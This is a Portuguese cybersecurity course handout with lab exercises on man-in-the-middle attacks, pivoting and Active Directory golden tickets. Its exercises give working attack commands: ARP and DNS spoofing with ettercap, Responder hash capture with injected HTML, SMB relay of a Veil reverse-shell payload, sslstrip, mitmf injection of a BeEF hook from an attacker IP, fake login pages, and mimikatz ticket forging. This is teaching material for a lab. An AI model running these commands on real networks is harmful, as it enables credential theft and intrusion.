(Empire: trollsploit/voicetroll) > set VoiceText you have been hacked
(Empire: trollsploit/voicetroll) > execute

PARA FINALIZAR

02 - Enviar a música thunderstruck para o computador alvo. O alvo não conseguirá desativar o som ou reduzir o volume.
(Empire: trollsploit/voicetroll) > usemodule trollsploit/thunderstruck
(Empire: trollsploit/thunderstruck) > execute

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Man in the Middle
(MITM)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – Introducão
Um ataque man-in-the-middle (MITM) é um tipo de ataque cibernético onde um ator malicioso se insere na
conversa entre duas partes. Ao se inserir nesta conversar o ator malicioso consegue representar ambas as partes e
obter acesso a informação que ambas as partes enviam e recebem entre si.

Neste tipo de ataque o ator malicioso poderá interceptar, enviar, receber e modificar os dados direcionados entre as
partes sem o conhecimento dos mesmas.

O ataque MITM explora em tempo real conversas, transações e transferências de dados entre as partes.

Atualmente, não há uma única tecnologia ou configuração para impedir todos os ataques MITM. No entanto,
aumentando a complexidade com múltiplas camadas de defesa aumentará o custo para o invasor. Aumento do custo
do atacante no tempo, esforço ou dinheiro pode ser um dissuasor eficaz para evitar o comprometimento da rede.

Geralmente, criptografia e certificados digitais proporcionam uma proteção eficaz contra ataques MITM,
assegurando tanto a confidencialidade e integridade das comunicações.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – Cenários

Local Local para remoto

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – Técnicas
ARP DNS STP Port
LOCAL WPAD
Poisoning Spoofing Mangling Stealing

ARP DNS STP Port


WPAD
Poisoning Spoofing Mangling Stealing
Local para
Remoto
Rogue
ICMP IRDP
Access
Redirection Spoofing
Point

Remoto
DNS Traffic Route
Poisoning Tunneling Mangling

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – Arp poisoning
Na comunicação normal ARP, o PC host irá enviar um pacote que tem o endereço IP de origem e destino dentro do
pacote e irá transmiti-lo a todos os dispositivos conectados à rede. O dispositivo que possui o endereço IP de destino
enviará a resposta ARP com o seu endereço MAC na mesma e, em seguida, a comunicação ocorre.

O protocolo ARP não é um protocolo seguro e o cache ARP não tem um mecanismo à prova de falhas. O pacote de
resposta ARP pode ser facilmente falsificado e pode ser enviado para a máquina que enviou o pedido ARP sem saber
que esta não é a máquina real, mas um ataque para causar violações de dados. Isso acontece porque a tabela de
cache ARP será atualizada conforme decidido pelo atacante e por isso todo o tráfego de rede pode ser direcionado
para o atacante, fazendo com que o atacante possui toda a informação trafegada. O pedido e respostas ARP não
requerem qualquer tipo de autenticação ou verificação uma vez que todos os hosts da rede irão confiar nas
respostas ARP.

Em envenenamento de cache ARP, o atacante captura o trafego da rede, podendo monitorar o tráfego de rede e
falsificar os pacotes ARP entre o hospedeiro e o computador de destino e executar o ataque MIM.

Útil para capturar o tráfego em redes com switches.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – ICMP Redirect

O atacante pode forjar pacotes de redirecionamento ICMP, a fim de


redirecionar o tráfego para si mesmo.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – DNS Spoofing
Se o atacante é capaz de farejar o ID do pedido DNS, ele / ela pode responder antes que o servidor DNS reais.

Sempre que entramos em um website em nosso PC é enviado uma requisição para resolução de nomes para o
servidor de DNS e em seguida recebemos uma mensagem de resposta do servidor de DNS na resposta. Este pedido
DNS e resposta são mapeados em conjunto com um número de identificação único. Se o atacante se apodera do
número de identificação único, em seguida, disfarçando a vítima com um pacote corrupto que contém o número de
identificação do ataque pode ser lançado. O atacante redireciona a vítima para o site falso através da realização de
envenenamento de cache ARP para desviar a mensagem de solicitação DNS para o qual o pacote de resposta falso é
enviado.O computador host deseja se conectar a um site para que ele irá enviar um pedido de consulta DNS para o
servidor DNS, mas devido ao ataque MIM o atacante irá interceptar esta consulta DNS e enviar uma resposta DNS
falso para o PC host. O PC host não viria a saber se a resposta é legítimo ou não e ele vai começar a se comunicar
com o site malicioso do atacante que faz com que as violações de dados.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – WPAD
Quando o Internet Explorer está configurado para "Detectar automaticamente as configurações" será requisitado na
rede por um host chamada WPAD. Para que o WPAD funcione deverá existir uma entrada no DNS para o WPAD
apontado para um servidor proxy que possua o arquivo wpad.dat, que falará para o Internet Explorer o que ele
deverá utilizar para direcionar o tráfego de Internet.

Se esta consulta ao DNS falha, o cliente irá usar o WINS, e finalmente fará um broadcast local para tentar encontrar o
host chamado WPAD na rede. Em sistemas operacionais a partir do Windows Vista esta requisição é baseada em um
protocolo chamado Link-local Multi-cast Name Resolution(LLMNR). O LLMNR can be seen as a mix between NBT-NS
and DNS. This protocol was introduced in Windows Vista, it is used to resolves single label names.The main
differences are:- LLMNR supports IPv6.- LLMNR is Multicast.LLMNR is used when DNS name resolution is unable to
identify a host. If LLMNR fail, NBT-NS will be used as last resort if enabled.

Se estivermos na mesma rede de boradcast do cliente que tentar resolver o nome do host "WPAD", podemos criar
um serviço que responderá a requisição e até mesmo possuir o arquivo wpad.dat em um servidor http que requer
uma autenticação básica, que não tenta fazer uma reengenharia na autenticação.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – Efeitos e impactos

Atualização de Cookie
Sniffing
binários inserção/roubo

Implantação de
Envenenamento Sequestro de
certificados
de Cache Sessões
falsos

Ataques de Implantação de
Downgrade Malwares

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – O que eu consigo

Captura, relay, downgrade,


Reconhecimento (fingerprint) escalação e redirecionamento SSL bypass
de NTLM.

Ou, simplesmente
redirecionamento
Roubo e ou quebra de ( Resultando em download de
credenciais softwares maliciosos,
exploração do browser entre
outras coisas.)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – Ferramentas

arpsoof ettercap bettercap

responder mitmf

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – Exploração

• Identifico a origem e o destino


01

• Selecione a melhor técnica e a aplico (ligo o meu roteamento)


02

• Monitoro o tráfego e coleto informações (usuários, senhas e outras informações que julgar necessário)
03

• Modifico pacotes e insiro informações que preciso (downgrade de protocolos, hook de browser)
04

• Crio persistência
05

• Exploro
06

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MITM – Quando usar?

Iníco da fase de
Durante a
exploração (ideal
movimentação
para obter
lateral
usuários e senhas)

entre os
SMB RELAY
administradores

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 26 – ARP Cache Poisoning
(arpspoof)
1 – No host1 abra o prompt de comando e execute um ping no endereço ip do host2
ping 10.0.0.102

2 – No host1 verifique na tabela ARP o endereço mac do default gateway. Anote este endereço.
arp -a

3 – No host2 verifique na tabela ARP o endereço mac do host1. Anote este endereço.
arp –a

4 – No host2 verifique na tabela ARP o endereço mac do host1. Anote este endereço.
arp -a

5 – Em sua distribuição LINUX realize um arp spoof entre os hosts 1 e o roteador de internet (default gateway)
arpspoof -i eth0 -t IP_ROTEADOR -r IP_WINDOWS
-i (interface)
-t (target)
-r (host)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 26 – ARP Cache Poisoning
(arpspoof)
6 – No host1 verifique na tabela ARP o endereço mac do roteador. O que está diferente?
arp -a

7 – No host2 verifique na tabela ARP o endereço mac do host1. O que está diferente?
arp –a

8 – Ative o roteamento em sua distribuição Linux. É necessário ativar o roteamento para que a comunicação entre o host1 e o host2 se
mantenham ativa.
echo 1 > /proc/sys/net/ipv4/ip_forward

9 – Abra o Wireshark e monitore o tráfego que se origina do host1 e host2.


Inserir o filtro de display
Protocol==http

10 – A partir do host1 acesse a internet.

12 – Verifique o monitoramento do Wireshark.

13 – Execute o urlsnarf no kaili.


urlsnarf –i eth0
driftnet -i eth0

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 27 – ICMP Redirect
(ettercap)

1 – Abra o shell (cmd) do host 1 e verifique a tabela arp. Anote o resultado.


arp -a

1 – Abra o shell (terminal) de sua distribuição linux.

2 – Verifique qual o default gateway que está utilizando.


route -n

3 – Verifique qual o mac-address do default gateway.


arp -a

4 – Realize o MITM com o ettercap utilizando a técnica de ICMP Redirect.


ettercap -i <interface> -TqM icmp:<mac-addres do degault gateway>/<IP do default gateway> -m <caminho do arquivo de log>
Exemplo: ettercap -i eth0 -TqM icmp:00:50:56:f3:84:2c/10.0.0.2 –m /tmp/log.txt

5 – Através do host1 acesse o serviço de ftp indicado e insira qualquer usuário e senha.
ftp ftp.microsoft.com
usuário: anonymous
senha:teste

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 27 – ICMP Redirect
(ettercap)

6 – Verifique a tela do ettercap, e note que o usuário e senha do ftp foi caputurado.

7 – Abra o shell (cmd) do host 1 e verifique a tabela arp. Houve alguma mudança?
arp -a

8 – Em sua distribuição linux, abra um novo shell (terminal) e ative o urlsnarf.


urlsnarf –i <interface>
Exemplo: urlsnarf -i eth0

9 – Em sua distribuição linux, abra um novo shell (terminal) e ative o urlsnarf.


urlsnarf –i <interface>
Exemplo: urlsnarf -i eth0

10 – Em sua distribuição linux, abra um novo shell (terminal) e ative o urlsnarf.


drifinet –i <interface>
Exemplo: drifinet -i eth0

11 – Acesse alguns sites na Internet através do host. Pelo urlsnar será possível ver em detalhes as urls acessadas e pelo drifinet as imagens
das urls. Quando você navega em sites https existe o monitoramento da conexão? Porque?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 28 – DNS Spoof
(ettercap)

1 – Abra o shell (cmd) do host 1 e verifique a tabela arp. Anote o resultado.


arp -a

1 – Abra o shell (terminal) de sua distribuição linux.

2 – Edite o arquivo etter.nds.


gedit /etc/ettercap/etter.dns

3 – Adicione a linha abaixo no início da arquivo.

################################
# Facebook
*.facebook.com A 10.0.0.200
#################################

4 – Realize o MITM com o ettercap para fazer o spoof do DNS.


ettercap -i <interface> -TqM arp:remote -P dns_spoof /<IP DO DEFAULT GATEWAY/ //
Exemplo: ettercap -i eth0 -TqM arp:remote –P dns_spoof /10.0.0.2///

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 28 – DNS Spoof
(ettercap)

5 – Usar o SET e clonar a página do facebook implemntando um malware em java ou outro.

6 – ligar o shell reverso, invandir a maquina e caputrar a senha do site clonado.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 29 – WPAD
(responder)
1 – Abra o shell (terminal) de sua distribuição linux e ativar o responder.
responder -I eth0 -wrfF

-I – interface
-w – Ativar o proxy server WPAD
-f – Obter um fingerprint de um host que gerou uma query NBT-NS ou LLMNR
-F – Força a autenticação NTLM/Basic . Será exibido um prompt de login.
--lm – Força um downgrading para o LM hashing em Windows XP/2003 ou anteriores.
--basic – Retorna a autenticação HTTP básica.

2 – Abra o Internet Explorer e comece a navegar na Internet até que os hashes sejam capturados. Os hashes serão exibidos na tela do
Responder.

3 – Obtenha a senha usando o John The Ripper.

4 – Finalize o responder e o inicie novamente com os parâmetros a seguir.


responder -I eth0 -wrfF --lm --basic

5 – Abra o Internet Explorer e comece a navegar na Internet até que os hashes sejam capturados. Os hashes ou senhas em texto puro serão
exibidos na tela do Responder. Se você obtive os hashes, qual a diferença entre os hashes obtidos agora para os hashes obtidos nos
exerçicios anteriores?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 29 – WPAD
(responder)
6 – Para melhorar a captura de hashes, siga os procedimentos abaixo:

A – Edite o arquivo Responder.conf


gedit /usr/share/responder/Responder.conf

B – Na sessão [HTTP Server] as opções a seguir devem estar configuradas como demonstrado a seguir:
Serve-Always = Off;
Serve-Exe = Off;
Serve-Html = Off
HTMLToInject = <img src='file://10.0.0.200/pictures/logo.jpg' alt='Loading' height='1' width='1'> (Substituir o IP 10.0.0.200 pelo seu
endereço IP).

C – Salve o arquivo e ative o responder.


responder -I eth0 -wrfF

7 – Abra o Internet Explorer e comece a navegar na Internet até que os hashes sejam capturados. Os hashes serão exibidos na tela do
Responder, mas agora a cada página navegada o Responder injectará um código que fará com que o alvo acesse um copartilhamento de
arquivos em sua distribuição LINUX para que os hashes sejam capturados.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 30 – SMB RELAY
(responder)

1 – Edite o arquivo Responder.conf.


gedit /usr/share/responder/Responder.conf

2 - Modifique a opção de SMB para off.


[Responder Core]
; Servers to start
SMB = Off

3 – Crie um payload de shell reverso https usando o VEIL ou o método que preferir e ative o multi handler de acordo com o seu payload.

4 – Ative o SMBRELAY apontando para o seu payload criado e para o host1, que será o alvo.
smbrelayx.py -e /root/veil-output/compiled/payload.exe -h 10.0.0010

6 – A partir do host2 acesse o compartilhamento de sua distribuição LINUX


\\10.0.0.200 (onde 10.0.0.200 é o ip de sua distribuição LINUX)

7 – Confirme se você conseguiu acessar o host1 através do meterpreter.

(fazer o injections no codigo html para que este acesso seja realizado dentro do MITMF)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 30 – SMB RELAY
(responder)

5 – Realize um MITM entre o host2 e o servidor de arquivos.

6 – Cancele o SMBRELAY atual e aponte-o para o servidor de arquivos, matendo o mesmo payload e o multhandler aberto.
smbrelayx.py -e /root/veil-output/compiled/payload.exe -h 10.0.0010

7 – Acesse o compartilhamento do servidor de arquivos.


\\fileserver

8 – Confirme se você conseguiu acessar o host1 através do meterpreter.

Discussão – Quais são os riscos desta técnica

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 31 – HTTPS (old way)

1 - Ativar roteamento no LINUX


echo 1 > /proc/sys/net/ipv4/ip_forward

2 - Configurar NAT
a - verificar a existencia de NATS
iptables -t nat –L

b - caso exista eu posso remover os NATS


iptables -t nat –F
iptables -t nat –X

c - Criar o meu NAT


iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 6666

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 31 – HTTPS (old way)

2 - Executo o sslstrip
sslstrip -l 6666 ou
sslstrip -l 6666 –f (O que o –f faz?)

3 - Ativar o ettercap

ettercap -TqM arp:remote ////

3 – Abrir sites com usuário e senha como gmail, facebook e outros na máquina virtual Windows e verificar se as senhas são
capturadas.

4 - Acompanho o log do sslstrip


tail -f sslstrip.log

QUAL O PROBLEMA EM SE USAR O SSLSTRIP PARA O HTTPS?

5 – Finalize o ettercap e o sslstrip e remova os NATs criados.


iptables -t nat –F
iptables -t nat –X

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 32 – HTTPS (HSTS)
Não será necessário configurar o roteamento e NAT. O mitmf fará tudo isso automaticamente.

1 – Abra o shell (cmd) do host 1 e verifique a tabela arp. Anote o resultado.


arp -a

2 – Ativar o MiTM como o mitmf no shell de sua distribuição LINUX.


mitmf -i eth0 --spoof --arp --gateway 172.16.254.2 --target 172.16.254.138 –hsts

3 – Abra o shell (cmd) do host 1 e verifique a tabela arp. Se a tabela arp mudou o MITM funcionou.
arp -a

4 – Navege a Internet e acesse sites como GMAIL e FACEBOOK. Tente realizar a autenticação mesmo utilizando usuários
inválidos e confirme se os usuários e senhas são capturados pelo mitmf.

5 – Você pode verificar as informações capturadas no logo do mitmf.


cat /var/log/mitmf/mitmf.log

6 – Precione CTRL + C para cancelar o mitmf.

7 – Confirme se sua tabela arp voltou ao normal.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 33 – BEEF
1 – Instalar o Twisted ou o Inject não funciona

cd /tmp
wget https://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
tar -xvf Twisted-15.5.0.tar.bz2
cd Twisted-15.5.0/
./setup.py install

2 – Executar o Beef
cd /usr/share/beef-xss
./beef

Entrar com o usuário e senha beef (http://127.0.0.1:3000/ui/panel)

3 – Executar o MiTM
mitmf -i eth0 --spoof --arp --gateway 172.16.254.2 --target 172.16.254.138 --hsts --inject --js-url http://10.0.0.200:3000/hook.js

4 – Gerar um payload de shell reverso no Veil

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 33 – BEEF

5 – Criar servidor http para hospedar o exploit

6 – msfconsole –r endereço do arquivo.rc do Veil

7 – Abrir o Beef e em Social Engineering selecionar Fake Flash Update.


Image: URL de imagem
Payload: Custom_Payload
Custom Payload URI: URL do payload

8 – Executar o mesmo usando o HTA Powershell

9 – Verificar o log do mitmf


cd /var/log/mitmf/
cat mitmf.log | grep -i user

10 – Usando o Pretty Theft, dentro da pasta de Social Engineering do Beef, envie uma tela de autenticação falsa do FACEBOOK para o alvo clicando
no botão execute.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 34 – All in One
1 – Realizar:
• Arp poisoning para iniciar o MiTM;
• Monitoramento de HTTPS com SSL Strip +;
• Ativar o responder com WPAD e monitoramento de protocolos;
• Realizar o injection o hook do BEEF em todos os usuários que navegarem na Internet;
• Obter os hashes netntlmv2 dos usuários que navegam na Internet através da injeção de uma url.

mitmf -i eth0 --spoof --arp --gateway 10.0.0.2 --target 10.0.0.101 --hsts --responder --wredir --nbtns --wpad --forcewpadauth --inject --js-url
http://10.0.0.139:3000/hook.js --html-payload "<img src='file://10.0.0.139/pictures/logo.jpg' alt='Loading' height='1' width='1'>”

No comando acima, substituir:


• IP: 10.0.0.139 pelo endereço IP de sua distribuição LINUX;
• IP: 10.0.0.2 pelo gateway da rede alvo;
• IP: 10.0.0.101 pelo IP do alvo.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Laboratório
Configuração

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Laboratório - Configuração
Para que possua uma boa experiência durante os exercícios, utilize a configuração demonstrada na figura a seguir.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Movimentação Lateral
Pivoting

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
35 - Movimentação Lateral - Metasploit
1 - Realizar a invasão com o ICECAST na máquina 1 5 - Instalar o proxychains
apt-get install proxychains
2 - Realizar o mapeamento dos hosts locais
Dentro do meterpreter 6 - Verificar se a porta de socks do proxychains é a 9050
Ifconfig (veja as outras interfaces) cat /etc/proxychains.conf
run arp_scanner -r 10.1.1.0/24
7 – No SHELL do Linux realizar nmap nos alvos descobertos
3 - Ativar o roteamento para o alvo proxychains nmap -sT –sV <ip dos alvos>
Fora do meterpreter, mas dentro do msfconsole
route add 10.1.1.1 255.255.255.0 <número da sessão de invasão> 8 – Relizar a invasão no ICECAST da máquina 2 (10.1.1.30)
route print
DESAFIOS
ou dentro do meterpreter 9 – Acessar o remote desktop do máquina 2 pelo shell
run autoroute -s 10.1.1.1/24 do seu LINUX.
run autoroute -p proxychains rdesktop <ip> ou usar o portfwd no meterpreter.

4 - Ativar o socks 10 – Obter um shell reverso de meterpreter da máquina 2


msf > use auxiliary/server/socks4a para o seu LINUX.
msf (socks4a) > set srvhost 127.0.0.1 proxychains msfconsole
msf (socks4a) > set srvport 9050
msf (socks4a) > run <ENTER> <ENTER> 11 – Como voce pode realizar o acesso para a Intranet do
seu alvo através do seu LINUX sem fazer o forward de portas?
Executar nestat –nat no shell do Linux e verificar se a porta 9050 está aberta. Configurar o IP 127.0.0.1 e porta 9050 como PROXY do seu browser.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Active Directory
Exploração

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
36 - Active Directory Golden Ticket
1 – Obter os hashes do usuário krbtg do controlador do domínio.
Hash da senha da conta krbtgt do controlador de domínio (usarei somente a segunda metade do hash)

2 – Obter as informações a seguir


a - Usuário (net user /domain)
Desafio
b - Domínio (whoami /user) 8 – Gerar ticket para o usuário GOKU.
c - SID do Domínio (whoami /user - ignorar os 4 últimos dígitos que são pertencentes ao usuário) 9 – Repetir os passos usando o módulo kiwi do
metasploit.
3 – Realizar o download do mimikatz
https://github.com/gentilkiwi/mimikatz/releases

4 – Realizar o upload do mimikatz para o computador alvo que não está no domínio.

5 – Tentar realizar o mapeamento de uma estação de trabalho do domínio alvo


net use z: \\nomedaestacao\c$

6 – Executar o mimikatz e os comandos a seguir:


mimikatz # kerberos::list
mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:<dominio> /sid:<sid do domínio> /krbtgt:<hash do usuário krbtg> /ticket:Administrator.ticket
kerberos::ptt Administrator.ticket
kerberos::list

7 – Tentar realizar o mapeamento de uma estação de trabalho do domínio alvo


net use z: \\nomedaestacao\c$

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
36 - Active Directory Golden Ticket

METASPLOIT
use kiwi
kerberos_ticket_list
kerberos_ticket_purge
golden_ticket_create -u Administrator -d Foundation -s S-1-5-21-1883305224-1889578860-2307555304 -k
744bc3cc86ef41967df1a84b1fe4912e -t Administrator.ticket
kerberos_ticket_use Administrator.ticket
kerberos_ticket_listgolden_ticket_create -u Jiraya -d Foundation -s S-1-5-21-1883305224-1889578860-2307555304 -k
744bc3cc86ef41967df1a84b1fe4912e -g 501,502,512,513,520,518,519 -t Jiraya.ticket

Verificacão no Sistema Operacional comprometido


klist - verifico os tickets que tenho na sessão
net use i: \\dc01.ctu.domain\c$
net usePsExec.exe \\dc01.ctu.domain\ cmd.exe
dir \\trantor\c$
upload de arquivos para outro host
upload /root/veil-output/compiled/winsvc.exe \\\\trantor\\c$
sc \\trantor create winsvc binpath= c:\winsvc.exesc \\trantor start winsvc

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
37 – Estudo de caso

Realizar a exploração de todo o ambiente virtual fornecido, sendo que o


objetivo final será se tornar um usuário root do servidor KALGAN
(Metasploitable 2)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS

Você também pode gostar